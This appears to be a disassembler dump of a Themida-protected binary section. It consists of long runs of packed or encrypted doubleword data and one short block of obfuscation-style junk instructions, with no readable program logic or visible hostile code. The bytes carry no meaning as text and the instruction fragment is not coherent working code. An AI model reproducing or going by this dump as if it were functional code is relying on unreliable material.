1BC6406Bh, 0FC0187Dh, 0E300E10Ah, 9B1BD556h dd 638E6C0h, 0FDCEA3B5h, 989468C8h, 0C6370160h, 40A3616Ah dd 0A6EE08F8h, 19018461h, 0E6C63874h, 3EC2182h, 8E8E2CBh dd 580B4C8h, 26C496EDh, 58F053C8h, 3F0909D5h, 8B48E6B4h dd 843C23D8h, 0B81CF50Eh, 0C733E180h, 3B68DD18h, 0ECECEEDh dd 1BE710A8h, 5E91D2D1h, 20CC7061h, 0C0831F48h, 1F3DB6CAh dd 2492688Ch, 959D1064h, 36F0D898h, 0B79F30C6h, 3BFAE498h dd 0D04D5CF0h, 49B2401Ch, 0E7024501h, 4FB7AA7h, 26CEA064h dd 80C0DB7Fh, 1EEC6383h, 0BB00C495h, 9269637h, 39CD4AFh dd 0BE1C0AD5h, 80A420B7h, 0F8E53218h, 9A6B1096h, 29C717Ch dd 17AA7A39h, 391254E9h, 7043933Ch, 482884h, 0B8ED11F8h dd 0E2ECEA63h, 21CDE1F9h, 1C302044h, 0FB4F171Dh, 6B564040h dd 601584F7h, 0B06D381Bh, 2A60147Ah, 3ACD9C68h, 0F3400196h dd 0C584CA04h, 18203961h, 0B8B0E1BCh, 90390073h, 0DBB19995h dd 9A30845Ch, 54E498E7h, 4C3809ADh, 7C006436h, 0C1027A79h dd 0CEF9B8C1h, 0F8891D0Ah, 94A17044h, 966F9479h, 14122280h dd 34A3004h, 2DA52003h, 85B82CC1h, 8F453BD0h, 0BCED9C45h dd 0AC8A1EC7h, 0A7A3A05h, 74049852h, 2C051520h, 7C00A212h dd 18BB9930h, 2E01F608h, 0AC14F171h, 248E0890h, 30A79900h dd 7A665F44h, 0B11B03A8h, 5B0D7A34h, 9E522002h, 0A0C909C6h dd 1D6084E0h, 0CEEA0C73h, 9D60D4C4h, 0B8F07672h, 1086F4Ch dd 0CF89C243h, 5434BCBDh, 909F5492h, 0F1E34081h, 0BE34A305h dd 20C00186h, 2153D61h, 0C63AE991h, 3C68F1E4h, 0DEF03979h dd 50D4B959h, 6800D30Ch, 6A0EE122h, 80690284h, 8226C641h dd 9582448Ah, 60D3B7DDh, 3E1E2C4h, 50515354h, 602637A1h dd 0E9025009h, 81DB6484h, 0ADD4EB8h, 0CE822C2Ch, 7C442707h dd 0BA208400h, 0D0AC1CF4h, 4BF3260Dh, 48111B3Ch, 0C3496298h dd 0EEDE2702h, 53D71CD6h, 0C8833C90h, 5F1BF11h, 72A5BE0h dd 0A8F8377Ah, 3C635207h, 0F94CC6AEh, 0FE683AF8h, 0BC9EC858h dd 0C1953580h, 7A182DD3h, 803E7B2Dh, 0A7BF04FCh, 0BB1603C5h dd 68D624ECh, 9144DCBCh, 2E3E6203h, 24D4677Ah, 0D74F558h dd 42A18FAFh, 0BC4C362Ch, 209E6628h, 0DD3FF83Fh, 22398E10h dd 40E8A41Ch, 3F47F8F0h, 5C00C9A6h, 0DD11EF5Fh, 84F0C5E6h dd 787008A1h, 6B081024h, 6D454B00h, 0D571CEF6h, 7E322492h dd 324109Fh, 6CC17B5Fh, 78A868F1h, 35DE840h, 8557837Ch dd 5EE1EBDAh, 4018870Bh dd 8282CD90h, 3444416Ah, 143DA861h, 0EECC6E00h, 0E23CDE9Ch dd 0F490D8B4h, 0C0B2C4h, 0CD24E83Ah, 21584F5Eh, 6CE1AD8Ch dd 0C5A6C0FCh, 485984A1h, 0A70B20CEh, 0B80199BDh, 0F1CB9674h dd 668C209Eh, 0C781D200h, 601222B5h, 9147F27h, 6EFECEFDh dd 0FC609829h, 0F658DE45h, 4031C9D0h, 59B1C68Ch, 8600A822h dd 23E12E93h, 521665BEh, 8409984h, 0EDB3F86Fh, 11BF006Dh dd 8FDBE95Dh, 9F09679Ah, 83012194h, 8758CB38h, 80192583h dd 0CC823E3h, 0E49E535Dh, 0A8371B30h, 628038E0h, 3A40BEACh dd 74739467h, 32CF00A0h, 0CDB0DFF5h, 28C5E5F0h, 2000545Ch dd 1AFFE929h, 420807BEh, 41AD509Fh, 0E03EB7F8h, 0C5F8A619h dd 30726437h, 0DA4D7D80h, 0C448C2DCh, 0C00FD5F7h, 6CEA7857h dd 73CD18EFh, 0E32520F0h, 0E35548h, 0C7B5AF29h, 287D61h dd 599D5B5Dh, 0D81BF09Ch, 6ACBE001h, 7DADC53Ah, 14EA509Fh dd 43076CA9h, 0C0E5111Dh, 3008C618h, 0AA50B4B0h, 7C505C10h dd 47812368h, 0A99B0841h, 70CD8858h, 48C16310h, 6FE3BC0Fh dd 0D691B480h, 7B64418h, 7108AE69h, 3B833F2Ch, 92998F83h dd 7FC1680Dh, 6D7894F5h, 0F32050E0h, 438E703h, 0E485C5h dd 1C754978h, 0A58B62Ah, 7341A407h, 0B00CB0CEh, 49782Ch dd 59B47407h, 1CE64F89h, 0E9AB0E00h, 0ADAAAC1Bh, 22FB0181h dd 2ACE7187h, 993881A1h, 532AF83h, 4391D4h, 628B7F5Dh dd 0DF9BCD5Ah, 0BECC671Dh, 303028A4h, 1992B139h, 10E9CBCEh dd 0CDF8C45Bh, 5C80AA7Fh, 419E0C57h, 467896C1h, 314C950Fh dd 9506965Dh, 118BB14h, 0EEA4AE44h, 81B6DCC4h, 0CE5F18E0h dd 4881F264h, 89E1F2Fh, 0E8B4425Dh, 0F06F6448h, 6DEAB305h dd 0C82095BCh, 9013FB83h, 654C18C0h, 0A46440F7h, 9196BE02h dd 9CE3F79h, 0A5272C00h, 0E8247015h, 0C4C208B3h, 0A7B4AFDEh dd 50ECF183h, 56C30365h, 0F8352DF5h, 0AC3806C5h, 0A3302164h dd 0D6161992h, 0F6380E08h, 0F414116Dh, 1BB34710h, 2808CB66h dd 80D728h, 0DF918B79h, 34F988DDh, 13312D79h, 35F260DAh dd 0F8BE04D1h, 506784D4h, 40D5C4B4h, 7E095C15h, 0E22518h dd 0C4DBD648h, 5F4224BEh, 98CD1DC4h, 795C707Ch, 3E65532Eh dd 35AF2200h, 24B6D90h, 4D5DB836h, 989BA094h, 0C13BC5F8h dd 9010A8C0h, 12CAD79h, 0EECBE667h, 0BF667D83h, 11BA80F8h dd 8A306168h, 0CA6502FAh, 0D2E46E0Bh, 0F248B860h, 0A59F8B1Fh dd 0D31B9800h, 630777h, 1E7E5D2Dh, 0C31CA80Ah, 913AD500h dd 879D668Bh, 65413F8h, 0FF2B04EEh, 0F14C1C0h, 0E9F8889Ch dd 87DC00B4h, 0BDD40DF9h, 0AB7EF5FAh, 0E643C8F1h, 805E20CAh dd 9444A03h, 0BE32F3A8h, 0A0665018h, 94C82065h, 4430C8A4h dd 25781190h, 8FDC0631h, 18304C02h, 0B3E06D04h, 8902783h dd 93C7A5h, 10E3D05Bh, 0AB451385h, 2E2ACDF8h, 0B1C5A4FDh dd 0C0016641h, 3B9E7F5Fh, 48EEE849h, 801F48A8h, 5830792Eh dd 0D11B7847h, 8027E9E0h, 1D100992h, 0CA105C04h, 5E8309F0h dd 1824A4FAh, 145704C0h, 0E5A2006Bh, 0BC9BEFD3h, 0D2020209h dd 1378E4BFh, 246867BEh, 0CC62C484h, 0FFFE8368h, 5D3D18C0h dd 3EFD1782h, 6415CB61h, 3A8C9826h, 0D5066C29h, 0DC4CF4EBh dd 90035051h, 8C0906Eh, 9589CDEAh, 2242631Ch, 0E01BC5C2h dd 0EA4DDB76h, 0A5CB3C24h, 505FAB80h, 84DDCEAAh, 0C138319h dd 28203E70h, 72201228h, 8D3400A9h, 4F6F9B2h, 0E9835E0Dh dd 0C19D286Bh, 8F9C47A9h, 132DB0CEh, 6448E986h, 9434009Ch dd 313FC9AAh, 70603119h, 8304D8C9h, 0B4C53640h, 1098000Fh dd 0AD3C9867h, 0D10365EAh, 44F9D57Dh, 5B59E011h, 0A87C22h dd 0B6E26BC9h, 7084B8F2h, 0DCB4082Ah, 603FC0A1h, 567E82B8h dd 3983D909h, 1F1490CAh, 677FA5h, 0BC249111h, 57E65C2Ch dd 439EB415h, 0C53B1ED4h, 0D449E1D2h, 6B041187h, 0C4F66894h dd 0C057FF86h, 0EAC53F0Ch, 0B14A3073h, 67BB8964h, 8ECDFC02h dd 0CE438448h, 5090FF49h, 70046540h, 0DD9CCDECh, 3CACA493h dd 0EC00D30h, 241022FBh, 180B601Dh, 81740EB6h, 0BF99CE6Eh dd 65362897h, 0E864C048h, 7918383Dh, 0F918FF20h, 0D0A14865h dd 0A80D168Bh, 2080B120h, 0A301247h, 0DD300206h, 0F658367h dd 0E9A1C468h, 1F0BCB03h, 0D03B7787h, 24909FFh, 2B806104h dd 10407EADh, 2C004D78h, 0F88505BCh, 1879C4E5h, 80DC65EBh dd 0EF4C303Bh, 248052D0h, 6B12E05Eh, 8883A809h, 3500D422h dd 609DF444h, 2018B03Dh, 6D581F31h, 18252E50h, 592B7806h dd 0C1FC8B58h, 8481AF9h, 1B21C0D2h, 55944CD4h, 3CB85FE0h dd 80E5E0ABh, 0A5D1CD24h, 5568ED62h, 0E1400162h, 0E0945093h dd 0ACA8E753h, 791AA3E5h, 1210FCE6h, 2EE400C8h, 0B26E6419h dd 74054D3Dh, 5021D611h, 0B10353C8h, 0CDA5575Bh, 60C08C77h dd 0C7EA39h, 0AF89EB68h, 0EDE6ABE5h, 9A5A4C2Ch, 0DB36F000h dd 0C5F68783h, 21A26580h, 236010E0h, 0CD80774Ch, 586360B5h dd 0B21A7B91h, 8F04CF7Dh, 665D5C04h, 83139C80h, 39EE68EBh dd 18099CA8h, 7D44C81Bh, 4CD8AB4Dh, 4F606093h, 0E07B03F5h dd 52DC073Eh, 0A0ECA81Ah, 7956D502h, 28F02234h, 95BF8D8h dd 31CE8685h, 565CD4A0h, 0D201650Eh, 0C5D49AAEh, 0F8200B63h dd 64BF00CFh, 19EAA9EEh, 5B00ED7Fh, 0F2530D1Ch, 7EBB66Dh dd 0CE2FA71Bh, 7A5D3017h, 350F37A6h, 0ADE9B0Ch, 83040852h dd 2081B51Ah, 0CAFDC538h, 7448C8BDh, 3500DC4Dh, 0A1EF7165h dd 9475B441h, 25755C00h, 1BD412E5h, 0ACAD07DAh, 96C550CFh dd 11294098h, 0CD1CB45Fh, 42D07E18h, 1896901Bh, 0C8027F44h dd 0B50BA78h, 681847FCh, 1730B05Bh, 92ECBAD4h, 0D2C41788h dd 0C56830E3h, 10C17F0Ah, 0B9DAD545h, 0F3A4DFCh, 14F5835Ch dd 36A6EB0Eh, 4A2C80E9h, 800270AFh, 686C74C5h, 0C08CE34h dd 2927934h, 0D45DBB80h, 24CD0B58h, 80942889h, 0EF837026h dd 0D411C16Dh, 0D802A132h, 0A06502F1h, 0F54C3444h, 0F6B61710h dd 7938E44Ch, 20615411h, 340781A3h, 715898B4h, 0C5A706A0h dd 308547h, 0BE08FE9Dh, 335083A6h, 99891CB1h, 0C5401019h dd 831A899Fh, 70792CD8h, 536828EDh, 0AAE53B38h, 628A244Dh dd 6B40048Ch, 0BCA0D294h, 2AC26404h, 41D86267h, 3C2C5DF0h dd 4B0801CEh, 3A4504Ch, 0C51DBAC0h, 1812C371h, 0B8C821ECh dd 0C0B455AFh, 7C1920D2h, 0AA4A71CEh, 4F3ED041h, 5434C955h dd 5C5E5010h, 72650436h, 1EE17883h, 8A17E840h, 0C9A441CEh dd 0F0189940h, 5038D5Fh, 0AB4CF3D8h, 0ECD140E2h, 0A8353EA2h dd 84B43C26h, 0B59533CDh, 18DC7254h, 3A68FCF1h, 0F4765865h dd 2B1E9842h, 51EC8048h, 33E9CF91h, 120D5000h, 28089F7Ch dd 83D00924h, 0FC4035CCh, 618AFE25h, 11F03848h, 1DD9DC5Bh dd 30045C81h, 240C3302h, 8B63FCFAh, 19FD2810h, 101A6B2Ah dd 2B0EFFBBh, 3F33FB01h, 347731CCh, 0FFF438EEh, 7D54688Ch dd 4EC08924h, 8C3C62B9h, 54B1FA7Bh, 18530D7Ah, 3E1C8B59h dd 1AC74EB6h, 7DD34FFh, 81F814F9h, 5750A0C4h, 86F130E9h dd 33BA520Dh, 24B3E00h, 0AF6CA81h, 7D357682h, 0A52D03EAh dd 5E2C140h, 17661200h, 0D789B27Bh, 5FE9195Ah, 0F9804844h dd 41F74356h, 9C871030h, 0E83C895Ch, 13EA0BFh, 565F0CF9h dd 291302BEh, 1810F148h, 89FAD432h, 0C68128E6h, 0EE833B19h dd 5134871Bh, 0C688CE02h dd 9B2E7068h, 53F1D084h, 0AE2853BBh, 48C3E90Ch, 0E7EC580Eh dd 0CF316B60h, 0F5F82159h, 0C18010F1h, 0EBC02FF3h, 0B43C5007h dd 0F4E4812Dh, 28E9DCF6h, 59A608DEh, 350CAC83h, 0DAE90C03h ; --------------------------------------------------------------------------- loc_4E618C: ; CODE XREF: Themida_:004E61A5j repne add al, ah push ebp mov ebp, esp add ebp, 3DC6148Fh cmp cl, [edx] add [ecx-47h], dl loop near ptr loc_4E619F+2 loc_4E619F: ; CODE XREF: Themida_:004E619Dj db 2Eh push 9400EB81h jl short loc_4E618C cmp eax, [ecx] retf ; --------------------------------------------------------------------------- dw 0AEE9h dd 32260868h, 93D63143h, 84FBF9F2h, 0D4EC779Fh, 2973FB89h dd 83B157E3h, 6D07E952h, 0D0300C1Ch, 0D8F6C287h, 23583CB3h dd 879B04C7h, 99BFE74Ah, 23535457h, 57303D8Fh, 0C2E78B28h dd 0F18EE9F5h, 5E0D9A2h, 0FE3B75A3h, 0BEDA1940h, 28395B3Ah dd 0DF1FEB6Ch, 4600FB05h, 0E906E6C1h, 0D583687Ah, 0FF550397h dd 5DAB2474h, 1204794Ch, 14202C6h, 0A05FEBE9h, 2831F691h dd 0EFCCCEB3h, 55E7C33Dh, 0C7F2F729h, 0C2E088Ah, 66344D74h dd 12168B48h, 8F4A5450h, 0E986A658h, 1C245AD6h, 0C381D7F7h dd 43B54A86h, 0A87290E9h, 5F20701Ah, 6F0D004Ch, 0C1448B12h dd 50004E0h, 57EB9EE6h, 558C629h, 0FEE9F789h, 0D08555D8h dd 0A18D910h, 0A11BB353h, 8114F710h, 898CA0ECh, 0FBF8B8F6h dd 47211CC0h, 603FE91Ch, 0C15A2052h, 550008E7h, 0EF046BBDh dd 67ED812Bh, 91290D6Ch, 502AE95Dh, 7965B9F7h, 0F759B50Fh dd 0EFBB86D9h, 0C0DDEE58h, 3D919038h, 5DFC296Ch, 1CE80173h dd 47FD3C54h, 0B930407Ch, 5DEE9D55h, 2BF07A21h, 9AA05E4h dd 9835452h, 19007A8Ch, 8EFC059h, 48DBF780h, 1906AC52h dd 228F92E9h, 66776812h, 452A1A45h, 37558054h, 2E2AA26Ch dd 0E7895701h, 0F1205650h, 0B71030Dh, 0EE95115h, 0D023D1ACh dd 496D2192h, 0F0732050h, 1AAD3E40h, 0C5177D68h, 4550628Dh dd 585B3113h, 0D83001F8h, 5129A832h, 0F7121Ah, 0EFC15FFFh dd 8A25706h, 1BDF3F80h, 56001D74h, 5B8AB850h, 6D1075Ch dd 0B1E948E0h, 0BAAC5CD6h, 92E8213Eh, 0CA5543A2h, 0E74D7A6Fh dd 0D4247E21h, 0C7817520h, 6CA61F92h, 9A6739ECh, 0C8F84870h dd 4C7BE557h, 0AA1076C3h, 0F74A0F33h, 226109D2h, 925F5407h dd 5706117Ch, 5F22BE22h, 90D938CCh, 81E20ED1h, 0C09EFCC2h dd 74EB2DDEh, 1141577h, 7E0705D0h, 8B502C30h, 90565DE8h dd 64910954h, 898016D6h, 7AE40239h, 7CE80CC1h, 0EDC922C1h dd 9A63E9ECh, 14332639h, 0BA0C6C48h, 9334D5A6h, 0E313B11Fh dd 507F2611h, 7E60EFBBh, 280EB20Eh, 5A6605D3h, 18C8C380h dd 565B3DC5h, 114077A2h, 0E8DDE112h, 0B3F38180h, 209D542h dd 685BD801h, 4497784h, 0E947202Ch, 127B4C32h, 180B6059h dd 4CF492DAh, 80B4AFC6h, 0B1B276F9h, 0EE01097Ch, 2B883F44h dd 8A31CE01h, 4E590800h, 54A626E9h, 35BB8012h, 21091F6Fh dd 524ADD48h, 526B6Eh, 3105D580h, 6043B8CDh, 0E1C1368Ch dd 81E24108h, 300302ECh, 0C8895187h, 58F59F59h, 426D3487h dd 1DD9A90Dh, 22923B62h, 0C84268BFh, 4CBE839Bh, 86410C9h dd 0D61DDCD0h, 0E3D02820h, 20347AB5h, 5C4D7426h, 228C4569h dd 8B08D275h, 0CA290909h, 2E753201h, 0E9888E4h, 0BF22008h dd 348558B6h, 0BBB5880h, 0E91374B3h, 1567E70Ch, 5212DD93h dd 913E234h, 7054264Ah, 32CC681Ah, 2756A81h, 2E6334F1h dd 6B1F79B0h, 5F43F13Ch, 7E5C0DE9h, 3DACB955h, 470F4197h dd 82C3C61Eh, 0BFE64220h, 98D35958h, 0B3585476h, 0E0080892h dd 0C6F5010Ah, 74388002h, 0D2620Ch, 0E94903E2h, 1501990Bh dd 0FC121EC2h, 0DA774727h, 0D283835Bh, 0EB804C02h, 0C15066EDh dd 0D1927B79h, 0F8C114E2h, 77E6C2C0h, 13C6B0Bh, 8A172EAh dd 753A8C5Dh, 0FFC65F47h, 395286C8h, 18747E58h, 870A3168h dd 0BF80392Ch, 4870F47Ah, 85055938h, 0C027801Dh, 0F45B726Dh dd 8343223Bh, 9D0ACFC3h, 81A2C7Dh, 1600202h, 0B7C05BDFh dd 6B0657DCh, 5802E930h, 5BC355ABh, 0F4041B59h, 3190AE25h dd 202439Dh, 453FB97Bh, 2B50BD0Ah, 8D5FAC1h, 0C1C63132h dd 0E2848170h, 97733A09h, 31EC9485h, 86331570h, 0C9845CC9h dd 0F2E4D0F0h, 0A7093222h, 6D73111h, 0DE1AE855h, 49101399h dd 3325109h, 0F965CEC0h, 0FD2415A4h, 91CA1B46h, 1EB0CA5Ah dd 66C9A886h, 6134800Dh, 533E0C1Eh, 0ADDDBE8Dh, 26379FD8h dd 1C0A0BCEh, 0D98E8996h, 0DC593F84h, 814A4A83h, 72820827h dd 12C0442Ah, 48A55D3h, 131ECE87h, 0D1F7501h, 0A4ED0582h dd 75B9A124h, 138F0158h, 4FAFF181h, 2C2E70A0h, 86202160h dd 26C180D1h, 8C930E2h, 7E2403FAh, 9011B08h, 6704EB28h dd 0C335C249h, 5CB9F5C0h, 2E77FF80h, 39309D1Ch, 9CAAD332h dd 94CAFC41h, 18B357F0h, 0AD8F6BF5h, 0FC7F0FBBh, 3586CA31h dd 875826DCh, 0C15C022Bh, 434605E6h, 5B0F9075h, 9A23B0D2h dd 0A05248C8h, 2E08D050h, 28BEB407h, 606CADEh, 6ACC0DADh dd 21CAC9B4h, 1DD444F9h, 0F6CF2A2Eh, 5142825Dh, 0CC900D6Eh dd 0E961D694h, 0A02C7A05h, 0D6C00C93h, 0BB821CB1h, 2602B28Bh dd 316D2033h, 0FB040D06h, 6E83F2A0h, 435896C0h, 287514C6h dd 0DE011116h, 48084910h, 7A718F9Ah, 0FBE6AA1h, 55D30A33h dd 1B49B109h, 31C5C75Ch, 4CAFEBD1h, 0BB18B033h, 0D9213F40h dd 8D34028Ah, 0B768594Bh, 7F4EB66Eh, 6E3B780h, 0CE5016F2h dd 0DA07B283h, 8003EAC0h, 3987E835h, 0C447C2F2h, 199F1C99h dd 0DE310129h, 20F2015Bh, 5840236Ch, 0F8C27588h, 3D7E6204h dd 660044D3h, 0E95DEB29h, 4FEE5030h, 0E90FF063h, 7464BF26h dd 20063881h, 26D1686Bh, 10501763h, 401E19EEh, 0AB61D46Ch dd 5A2DB1Ch, 0FD0CC484h, 2D54B2E9h, 95A1ED7h, 0CFC18CF8h dd 0CD9153ECh, 746133Dh, 1775AB8Dh, 605F8F5h, 4D8990CBh dd 8856E532h, 492E59F3h, 6DA3C760h, 28147831h, 5E00F12Ch dd 0F4B8C209h, 23573124h, 150D0636h, 0CA663AE9h, 1EA40126h dd 299AB183h, 7D8D6376h, 6FC91A26h, 3668716Ch, 26813D41h dd 7266E7A0h, 280C1083h, 2C311B2Fh, 28064078h, 0BEFBCA67h dd 28EAA062h, 188E5401h, 75A3E95Ah, 0CC4C085Bh, 0B3530E0Ch dd 0B551A2B8h, 27636Ch, 3DB05016h, 0F404C8FEh, 404BE913h dd 0DE57E289h, 28D1B0B3h, 81B7584Eh, 918DD345h, 82E1C8AAh dd 0C0B60F34h, 710C7866h, 21224A68h, 74EDE914h, 6C622982h dd 855A5DAEh, 33937ABAh, 7DEF425Ch, 601F257Fh, 6F00F133h dd 3E31EF81h, 7829157Fh, 845E5C7h, 58896E84h, 49491766h dd 52D40896h, 1E936616h, 85B5E9B3h, 30E9DDC0h, 0BDDEDEC7h dd 9D2E0B16h, 0C200B741h, 21595674h, 0D15A13D5h, 0CD1E80EDh dd 621D15DBh, 0C5C04D54h, 969C0D6Ch, 0E3F92EE9h, 407CA6CBh dd 0C2FEBAB2h, 5C738072h, 882DF212h, 41D3C11Fh, 300266h dd 0E3323AB8h, 2C702D5Fh, 28EA09F8h, 8082743Ah, 5C919A35h dd 0AC7894Dh, 99E95758h, 700949A9h, 5348B19h, 48989744h dd 0BB399CC9h, 38E3297Bh, 856880DAh, 5D0BD732h, 8BEB011Eh dd 56402AE7h, 457E2F0Dh, 256BD5F8h, 0C3940798h, 1265FF5Ch dd 0BC7C794h, 0DAA020FDh, 42F49811h, 5A0642C1h, 6311F0Dh dd 0F24146DAh, 4CA590D2h, 0FBD1AE79h, 0AA64E91Dh, 0D0ED48A2h dd 3C84E027h, 0AB69253h, 34C86801h, 0C5BD7650h, 2E22257Eh dd 0E164D688h, 844FA5E9h, 9F2CAC0Ah, 9D68F82h, 8BB21B81h dd 322DE838h, 0A6F783Bh, 705F001h, 2834A93Fh, 0E3895380h dd 9E1395E9h, 4B68611Eh, 10697626h, 0B9017241h, 0AAA4D4E2h dd 386A8181h, 0F1012AD1h, 8189A44h, 0CA12E96Bh, 0A8B68337h dd 814740F2h, 5D0DE207h, 0D7B3090Fh, 0E7170280h, 53E0037Fh dd 0BF01FC7Ah, 0E9C9DBB0h, 53492630h, 8950EB3Ch, 0D634185Dh dd 7AC2563Ah, 6930502Eh, 8E4A0709h, 0FCD0728Fh, 533B6Bh dd 59CF01CEh, 815FFA89h dd 23E1EA78h, 2AE90D7Bh, 46921029h, 64E10003h, 10D7199h dd 1273D34Ch, 75D6FD67h, 545634DEh, 556089F9h, 951C92A0h dd 312C84D8h, 1918CEFAh, 9802EF5Fh, 3F117C24h, 4C27A168h dd 4F467D09h, 9ACDA320h, 0E25A56D7h, 4863BE6Fh, 0A8017306h dd 105B78CEh, 1CA0FA01h, 50510008h, 0AB2A1BB8h, 5736E917h dd 6CBE9356h, 930D0633h, 0ACD3F739h, 86F7950h, 0C3551332h dd 0D5A25DB3h, 0F4123A61h, 10D36380h, 876562D0h, 5294C1Ah dd 9D59D117h, 63BAEC82h, 37C3039Ch, 0B5EF107Fh, 0F75E38E5h dd 7E4EF62Eh, 9A7E46Fh, 6A4888E3h, 73454C9Fh, 0D777091Ah dd 72A1E49h, 0E5D0CDFEh, 28C3C570h, 45918E8h, 0E6E90A30h dd 81C54859h, 2DE20247h, 0D4C665F4h, 0A43E3086h, 0A8098314h dd 32211278h, 5C360528h, 681A827Eh, 0E9139AC4h, 0DE9C7FB6h dd 0AE83FC1h, 0A9C5212Eh, 0B1666BC5h, 500254A1h, 380AE40Ch dd 500A224Fh, 590608EEh, 3C7963E9h, 0F716CA29h, 426806D2h dd 9792BCE6h, 0D36986F0h, 40C03310h, 40FA00Dh, 2EE9C8BEh dd 0E790D0EBh, 434F6068h, 7F550B33h, 9AFB4855h, 7668F300h dd 0DE012B83h, 801BE92Dh, 5709599Eh, 535A041Ch, 0CD6AB168h dd 0EABBE471h, 4C576F05h, 16B0E5E9h, 4F293F5Ch, 0E7685984h dd 56A8CC52h, 5160ADBCh, 9D46855h, 5D48E752h, 917C7F84h dd 2804C7DBh, 15C16F0h, 685EEF20h, 2E999A4Dh, 0A59A73E9h dd 0B707FEB2h, 0B04034DAh, 0FCE40227h, 0E3875E64h, 625BF1A7h dd 0CDD25CD2h, 1C09064Eh, 0DF63804Fh, 5C444A4Bh, 12050B47h dd 0C0FCF924h, 29595F21h, 7EE9D816h, 46B80440h, 244C0C34h dd 138D0F7h, 9CF747Fh, 55AE029h, 2D014F99h, 0AA245717h dd 10314A81h, 6CFAE958h, 0FCBD052Eh, 0AE05D13Bh, 59000CE2h dd 4AEB19B0h, 9ADBF855h, 7C2903F5h, 5B5F0824h, 2CC407D9h dd 70342C6Bh, 6A03764Ah, 11A0C17h, 0DB1B530Ch, 0FBC2010Ah dd 0E9080595h, 9748A127h, 35423960h, 4006EEC1h, 3F7CB25Fh dd 0BC152703h, 0D939AB51h, 7C59CE18h, 0DFC63A8Bh, 49D066E2h dd 655B0C13h, 148DA337h, 0C3F8EF83h, 501CF5E9h, 0E3FD0A18h dd 0D1800928h, 14BD55E6h, 71CAA00h, 2D5DEE31h, 0AB5E3E16h dd 74191D9h, 805FF660h, 0E6788956h, 0BA4EDF2Dh, 0C1E48981h dd 34BE5A2Fh, 0F651F564h, 1F9E105Eh, 184FDA50h, 0C03AE64h dd 0A909180Eh, 45C60175h, 88B62011h, 80467322h, 887DD5F6h dd 0C7699BF2h, 0F4AAACE1h, 722DE7BCh, 0F846850h, 41612047h dd 0D2D758C4h, 16540C06h, 5920B342h, 52F71E14h, 7AF5A756h dd 95622B30h, 3D061DE5h, 0D0931E47h, 0D3FD9C7Bh, 0FC04144Eh dd 2D0BC2E1h, 0F0177B83h, 0A7F538D1h, 17C9014h, 535D26EAh dd 0D031162Ch, 0BF570695h, 0EF3E2AF2h, 5FF902FCh, 56646FE9h dd 0FAD263E4h, 55D4E00h, 527B5515h, 2DD02801h, 0C339907h dd 0F16F285Dh, 62084AB9h, 0B1510342h, 28EA8017h, 8225CA5Bh dd 7130E586h, 42026A15h, 0E859C26Dh, 77631C4Dh, 0ACDCF73Fh dd 255A492h, 1C5B1CB4h, 0E6706874h, 885360BAh, 0E92752D3h dd 988B0897h, 2A722908h, 6908A21Dh, 45325BE4h, 9AEDE618h dd 8314DAF7h, 1AB01C2h, 2E6D35A5h, 0D26CA0E9h, 4648680Ah dd 0BB668340h, 0C1A04123h, 68F004EBh, 5272733Eh, 41283F8Ah dd 0A8C1EED4h, 0FF581C2h, 45CD6EC5h, 0F260C784h, 99257880h dd 0C2EA9335h, 266554A1h, 80C01CC9h, 80DDF603h, 302476F5h dd 3710C1EFh, 17C58100h, 89467B4Ch, 0E480E6A2h, 50455294h dd 3F60BFF0h, 2EA46828h, 24279872h, 0CC9E3D1h, 0C3777636h dd 0A7CD024Ah, 49A37730h, 0CE135604h, 2978DD1Bh, 0AE16E2D9h dd 79C80FE9h, 162AA988h, 0C0FB74C6h, 575D5477h, 4325684Bh dd 505F4104h, 0F2C6D488h, 0E90B1C1Fh, 0EF37E494h, 0C83B6B44h dd 3812A220h, 70F0D80h, 9E6197AAh, 0C5EC5450h, 94892D0h dd 0E54D9DC7h, 2839AF82h, 0C0095E00h, 5852D0Fh, 0BCBAB900h dd 5F0B8447h, 9A4C6268h, 0F79823B2h, 200B58D3h, 8B9DA20h dd 24634208h, 800D08BFh, 21FB801h, 7870094Ch, 0E5253F08h dd 400F7000h, 4E076F2Dh, 0C289B012h, 7B2EF3B2h, 15669D4Dh dd 4310CB0Ch, 0CD800E0Fh, 4BED6772h, 0CA905CB5h, 3D41DC2Dh dd 0A3267F3Fh, 31AD8050h, 72668D8h, 7C6F75B4h, 81526D00h dd 240583E3h, 26E421Dh, 4ACAE906h, 75CF152h, 81007E9Dh dd 513184F2h, 79D6897Ah, 1D69985Ah, 521CAC76h, 0C841C523h dd 0C04D6A3Ah, 94044AAFh, 0BB0029CFh, 46999D1Bh, 1ADF312Dh dd 51575CB3h, 962C3D31h, 3F3E0101h, 45205B6Eh, 88DA160Ah dd 2E9608D4h, 34665D12h, 467430h, 0E281401Ch, 4F2707E8h dd 0FBC43CC7h, 0D589BF11h, 5D0ECF82h, 2D5C6902h, 12388E08h dd 58F407B9h, 0D52FB514h, 0DB11F207h, 60E59A70h, 0BE5DFC45h dd 4B06E887h, 7151BC49h, 299D1048h, 0EB0381FBh, 4A60221Ah dd 0E9F3C85Fh, 283BBC4Ch, 600AEEE1h, 56E2710Ch, 673D05BEh dd 2C4EAE46h, 0D0ADE989h, 304876CCh, 0CF7D3F6Eh, 0F3256CC2h dd 4FCAC16Ah, 2CF7C070h, 0B62F150h, 2904FE01h, 3BBAB8A6h dd 69BF4859h, 54D5410Ch, 0A21042Bh, 0DC5512D3h, 0AA8A64D9h dd 0F7716DC0h, 3426CBD6h, 0CDC39B48h, 60E549D0h, 7C5F1B2Ch dd 1ABF3007h, 5EF7310Bh, 0E9F9210Bh, 5CA26110h, 0C42C9632h dd 0C3298629h, 4DF40658h, 0BE14DB60h, 4883100Ah, 4F340317h dd 0B3D385F1h, 0D1347E38h, 6FE61C78h, 20C4CD4Ah, 5700C53Ch dd 81410387h, 3B4A71E1h, 0C9034B6Fh, 3EEF0BA1h, 0B423C1E0h dd 1C0100Ah, 300995C8h, 0F4CC2377h, 6EEB98BAh, 318E9528h dd 37E965B8h, 54B2F664h, 789ABCA8h, 5FA6DF40h, 0C6A0F879h dd 0DD1D2AC6h, 298C13Ch, 0B246012h, 95E925A7h, 0A3002162h dd 1BA6512Ah, 0E967FF6h, 69096804h, 952D4FF3h, 0C8021289h dd 0BA00374Dh, 7AF45A54h, 69A3065h, 0D0F75814h, 2E220D07h dd 0CB574A2Ah, 35007F67h, 0BA0605h, 0D868563Ch, 5E4A1153h dd 6966E92Ch, 0E2CE8180h, 0EC1D6D67h, 2C2209F6h, 0CF806AB5h dd 574A5BC3h, 0EDF22928h, 218C084Ah, 56249653h, 2257E92Fh dd 2B41C0D9h, 85C5808Fh, 